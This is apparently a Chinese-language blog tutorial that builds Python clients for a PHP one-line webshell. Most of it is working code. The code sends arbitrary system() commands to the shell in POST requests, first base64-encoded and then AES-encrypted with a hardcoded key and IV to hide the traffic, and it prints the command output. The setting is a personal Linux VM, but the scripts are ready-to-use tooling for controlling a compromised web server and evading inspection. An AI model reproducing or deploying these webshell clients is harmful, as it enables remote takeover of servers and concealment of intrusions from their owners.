前面寫過兩篇,但寫的不多。
使用python連接JSP一句話木馬
使用burpsuite對python的post請求進行抓包
今天想起來,於是整合一下,再搞個加密。
先是在 Linux 虛擬機裡面寫個 “兩句話木馬”。
對傳參進行一個 base64 解碼,這就意味著在 Windows 本機上要進行一個 base64 編碼。
import requests
import base64
url = str(input('目標URL:')) # http://192.168.xxx.xxx/shell.php
pwd = str(input('連接密碼:')) # 其實就是一句話木馬中的變量shell
# 用於 burpsuite抓包
proxy = {
'http': '127.0.0.1:8080',
'https': '127.0.0.1:8080'
}
while(True):
cmd = input('輸入執行的命令:')
send = "system(\'" + cmd + "\');"
connect = base64.b64encode(send.encode('utf-8'))
# 將命令傳給一句話木馬
payloads = {
pwd: connect
}
# 向目標url發送post請求
# response = requests.post(url, payloads)
response = requests.post(url, payloads, proxies=proxy)
# 回顯命令執行的結果
print(response.text)
抓包結果如下:
解碼一下可以看出命令。
然後放包,Python代碼接收到返回的數據。
對 shell.php 作出修改。
Python 代碼如下:
import requests
import base64
from Crypto.Cipher import AES
# 密鑰(key), 密斯偏移量(iv) CBC模式加密
BLOCK_SIZE = 16 # Bytes
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * \
chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)
unpad = lambda s: s[:-ord(s[len(s) - 1:])]
key = '5c47c819bpt3apr0'
vi = '0102030405060708'
def AES_Encrypt(key, data):
data = pad(data)
# 字符串補位
cipher = AES.new(key.encode('utf8'), AES.MODE_CBC, vi.encode('utf8'))
encryptedbytes = cipher.encrypt(data.encode('utf8'))
# 加密後得到的是bytes類型的數據,使用Base64進行編碼,返回byte字符串
encodestrs = base64.b64encode(encryptedbytes)
# 對byte字符串按utf-8進行解碼
enctext = encodestrs.decode('utf8')
return enctext
def AES_Decrypt(key, data):
data = data.encode('utf8')
encodebytes = base64.decodebytes(data)
# 將加密數據轉換位bytes類型數據
cipher = AES.new(key.encode('utf8'), AES.MODE_CBC, vi.encode('utf8'))
text_decrypted = cipher.decrypt(encodebytes)
# 去補位
text_decrypted = unpad(text_decrypted)
text_decrypted = text_decrypted.decode('utf8')
print(text_decrypted)
return text_decrypted
if __name__ == '__main__':
url = str(input('目標URL:')) # http://192.168.223.xxx.xxx/shell.php
pwd = str(input('連接密碼:')) # 其實就是一句話木馬中的變量shell
# 用於burpsuite抓包
proxy = {
'http': '127.0.0.1:8080',
'https': '127.0.0.1:8080'
}
while(True):
cmd = input('輸入執行的命令:')
send = "system(\'" + cmd + "\');"
# 將命令傳給一句話木馬
payloads = {
pwd: AES_Encrypt(key, send)
}
# 向目標url發送post請求
# response = requests.post(url, payloads)
response = requests.post(url, payloads, proxies=proxy)
# 回顯命令執行的結果
print(response.text)
這些加解密算法的代碼,在網上可以很容易找到。
自己也可以對其進行修改
抓包之後得到的結果:
python 在 Windows 下使用 AES 時,要安裝的是 pycryptodome 模塊
pip install pycryptodome
python 在 Linux 下使用 AES 時,要安裝的是 pycrypto 模塊
pip install pycrypto